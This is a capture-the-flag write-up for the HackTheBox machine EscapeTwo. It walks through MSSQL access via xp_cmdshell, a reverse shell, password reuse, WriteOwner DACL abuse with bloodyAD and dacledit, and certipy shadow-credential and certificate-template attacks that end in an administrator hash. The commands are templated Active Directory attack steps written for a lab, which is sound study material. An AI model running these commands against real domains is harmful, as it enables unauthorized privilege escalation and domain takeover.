EscapeTwo HTB Writeup
HTB machine link:
https://app.hackthebox.com/machines/EscapeTwo
Recon Link to heading
From the description of the machine, we have already been given a basic account to start with: “As is common in real life Windows pentests, you will
start this box with credentials for the following account: rose / KxEPkKe6R8su”
rose
KxEPkKe6R8su
Let’s scan open ports, here we have everything standard for windows machine
Let’s start by checking the credential given to us for validity and add the resulting domain name sequel.htb to /etc/hosts/
echo "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts
User flag Link to heading
Let’s try a basic smb enumeration
You can log in via smbclient
Looking through the catalogues, we find the Accounting Department we are interested in. We need to download it using the get command and then
unpack it.
smbclient //10.10.11.51/Accounting\ Department -U rose --option='client min protocol=SMB2'
Inside will be user credentials that we can use later.
The sa account is the default admin account for connecting and managing the MSSQL database. Checking showed that the account is valid, let’s try to
use mssqlclient from impacket to log in.
Great, now we are sa!) By default, the xp_cmdshell stored procedure is disabled in MSSQL, but we can enable it and enjoy all its benefits.
Be sure to scour the host for anything useful. For example, it has notable files for MSSQL deployment.
Save SQLSVCPASSWORD, we will need it later.
The most useful thing we can do is to catch the reverse shell on our listener. The example below uses PowerShell load encoded in base64.
At the moment we are the sql_svc user. He has certain privileges, e.g. he can run winPEAS and quickly gather key information about the system.
One of the interesting points is the information that only three users have ever been authorised in the system - sql_svc, Administrator and ryan (sorry,
not Gosling). It’s not hard to guess that getting this user authorised will be our next vector.
By trial and error it was determined that to authenticate under the user ryan it is enough just to find a password for him from the list of all passwords
previously collected in the system.
This way we can authenticate to the server under the user ryan. On the user’s desktop we take the user flag.
Root flag Link to heading
Next, consider the exploitation of Discretionary Access Control Lists (DACLs) using the WriteOwner permission. Abuse of the WriteOwner
permission can lead to a change of the object’s owner to a user controlled by an attacker (in this case, ryan) and capture the object.
Bloodhound report contributed to finding the vector.
In the diagram we can clearly see that due to WriteOwner rights of user ryan it is possible to boot the ca_svc account.
The following are the commands that will help us take control of ca_svc
Use bloodyAD to change the owner of the ca_svc object to the user ryan:
bloodyAD --host {host name} -d {domain name} -u {user} -p {password} set owner ca_svc ryan
Next, set FullControl permissions for ryan. Now we will be able to control the object from this user, including the ability to modify and delete it.
dacledit.py -action 'write' -rights 'FullControl' -principal '{user}' -target 'ca_svc' '{domain name}'/'{user}':'{password}'
The following certipy-ad command to automatically abuse the shadow account ca_svc. We connect to the domain controller by IP address (-dc-ip) and
use the specified credentials for authentication.
certipy-ad shadow auto -u {user}@{domain} -p '{pass}' -dc-ip {ip} -ns {ip} -target {ip} -account ca_svc
Next, we look for vulnerabilities in the target host using Kerberos authentication.
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target {host name} -dc-ip {ip} -vulnerable -stdout
The command below creates a certificate request using the DunderMifflinAuthentication template.
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -target {host name} -dc-ip {ip}
This command creates a certificate request for the ca_svc account using the specified hashes and template:
certipy-ad req -u ca_svc -hashes :hashes -ca sequel-DC01-CA -target {host} -dc-ip {ip} -template DunderMifflinAuthentication
Now it’s just a matter of authenticating the user using the PFX file that was obtained the step before:
certipy-ad auth -pfx {some.pfx} -dc-ip {ip}
In return, we get a hash.
All that remains is to use evil-winrm and a fresh administrator hash. The root flag will be waiting for us on the desktop.
